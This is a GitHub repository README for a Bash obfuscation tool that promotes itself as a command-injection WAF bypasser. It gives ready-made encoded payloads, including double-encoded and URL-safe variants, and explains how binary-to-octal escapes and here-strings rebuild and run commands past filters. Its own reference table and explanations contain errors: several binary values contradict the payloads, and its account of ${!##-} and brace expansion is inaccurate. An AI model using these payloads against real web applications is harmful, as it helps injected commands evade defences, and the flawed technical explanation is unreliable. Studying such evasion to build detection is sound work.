Skip to content

RodricBr/Bash-Command-Injection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

68 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Advanced Command Injection WAF Bypassing using Bash

This technique performs command obfuscation without relying on eval or exec by chaining Bash features: binary literals are interpreted via arithmetic expansion $((2#binaryValue)) to produce decimal values that correspond to octal digits.
These digits are then reinterpreted as octal escape sequences within ANSI-C quoted strings $'...', reconstructing the original command. The payload is delivered through a here-string <<<, causing the decoded string to be consumed as input by a command interpreter (e.g., bash), forming a non-obvious execution path.
This article focuses on conceptual analysis of multi-base obfuscation in Bash and is not essentially intended for practical deployment, but still could be used in CTF scenarios.

-> See Full Explanation for more in-depth information.


encoding example




Examples:

Default encoding:

Command: ls

${0##\-}<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

Double Encoding (--double-encode, -e):

Command: ls

${0##\-}<<<$\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\'

Url Safe Encoding (--url-safe, -u):

Command: ls

${0%23%23\\-}<<<$\'\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310100011))\'



Full Explanation:

Advanced Bash Command Obfuscation Technique

This technique encodes arbitrary bash commands into an obfuscated one-liner that executes without using eval, exec, or external tools. It leverages bash's parsing rules, ANSI-C quoting, and arithmetic expansion to reconstruct and execute commands at runtime.

Payload Structure

Single Word Command (ls)

${!##-}<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

Multi-Word / Commands with spaces (ls -la)

${!##-}<<<{\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\',\$\'\\$(($((1<<1))#00101101))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10011001))\'}

Component Breakdown

  1. ${!##-} - Parameter Expansion
Component Meaning
${!} Expands to PID of last background job (a number)
##- Removes leading - if present (e.g., -bash -> bash)
Result A numeric value that bash treats as a no-op command name
# Example expansion
$ echo ${!}
12345
$ echo ${!##-}
12345

  1. <<< - Here-String Redirection

Feeds the right-hand side as stdin to the command on the left:

command <<< "input text"

In this technique, the numeric result of ${!##-} isn't a real command, but bash still processes the here-string, causing the $'...' content to be evaluated.


  1. $'...' - ANSI-C Quoting

Enables escape sequence interpretation inside the string:

Escape Interpretation
\154 154₈ -> 108₁₀ -> "l"
\163 163₈ -> 115₁₀ -> "s"
\n newline
\t tab
$ $'\154\163'
ls  # Bash attempts to execute "ls"

  1. \\$(($((1<<1))#BINARY)) - The Encoding Engine

This is the core obfuscation layer. Here's how a single character is encoded:

  • Encoding Chain for l:
1. Character -> ASCII (decimal)
   "l" -> 108
2. Same value, different representations
   108 (decimal) = 154 (octal) = 10011010 (binary)
3. Bash interprets binary -> decimal
   $((2#10011010)) -> 154   <- this is decimal
4. Turn number into an octal escape string
   "154" -> "\154"   (inside $'...')
5. Bash interprets octal escape -> character
   \154 (octal) -> 108 (decimal) -> "l"

10011010₂ -> 154₁₀ -> "\154" -> 154₈ -> 108₁₀ -> "l"
  • Visual Flow:
"l" -> 108₁₀ ≡ 154₈ ≡ 10011010₂
                V
      $((2#10011010)) -> 154₁₀
                V
          "\154" -> 154₈ -> 108₁₀ -> "l"

  1. Why \\$((...)) Instead of $((...))?
In Script After printf Inside $'...' Final Result
\\$((...)) \$((...)) \154 (literal backslash + number) ✅ Octal escape -> char
$((...)) $((...)) 154 (just a number) ❌ Not an escape

The double backslash is critical. It survives printf and becomes a single backslash inside $'...', which bash interprets as an octal escape.


  1. Multi-Word / Commands with spaces - Comma Separation

For commands with spaces, the payload uses brace expansion:

${!##-}<<<{\$\'...\',\$\'...\'}
Part Purpose
{ Opens command group
\$\'...\' First word (ls)
',\$\' Comma separator + new $'...' block
...\' Second word (-la)
} Closes command group

Bash treats {cmd1,cmd2} as a brace expansion - both commands execute sequentially.


Full Execution Flow

┌─────────────────────────────────────────────────────────────────┐
│ 1. User runs: ./encode.sh "ls -la"                              │
│ 2. Script processes each character:                             │
│    char -> ASCII -> octal -> binary (for obfuscation)           │
│ 3. Script builds payload using:                                 │
│    - $'...' (ANSI-C quoting for octal escapes)                  │
│    - brace expansion (maybe multiple chunks)                    │
│    - <<< feeds string as input (here-string)                    │
│ 4. User pastes payload into terminal                            │
│ 5. Bash evaluation order:                                       │
│    a) Brace expansion (if present)                              │
│    b) Parameter expansion (${...})                              │
│    c) ANSI-C quoting: $'...' -> interprets \NNN (octal)         │
│    d) Word splitting                                            │
│    e) Here-string (<<<) feeds final string to command           │
│ 6. Resulting decoded string:                                    │
│    "ls -la"                                                     │
│ 7. That string is executed on the shell (depending on context)  │
└─────────────────────────────────────────────────────────────────┘

Character Reference Table

Character ASCII₁₀ Octal₈ Real Binary₂ Payload Binary₂ Payload Fragment
l 108 154 01101100 10011010 $((2#10011010))
s 115 163 01110011 10100011 $((2#10100011))
- 45 055 00101101 00101101 $((2#00101101))
a 97 141 01100001 10001101 $((2#10011001))
32 040 00100000 00101000 $((2#00100000))

Reverse Engineering Example:

# Binary -> Octal -> ASCII
$ echo "$((2#10011010))"  # 154
$ printf '\\%o' 154       # \154
$ printf '\154'           # l

Security Notes

Aspect Details
Obfuscation Level Medium — bypasses casual inspection and simple pattern matching
Detection Reversible with understanding of the encoding chain
No eval/exec Avoids common security filter triggers
Pure Bash No external dependencies beyond bc for encoding

About

⚙️ Advanced Command Injection WAF Bypasser Using Bash

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages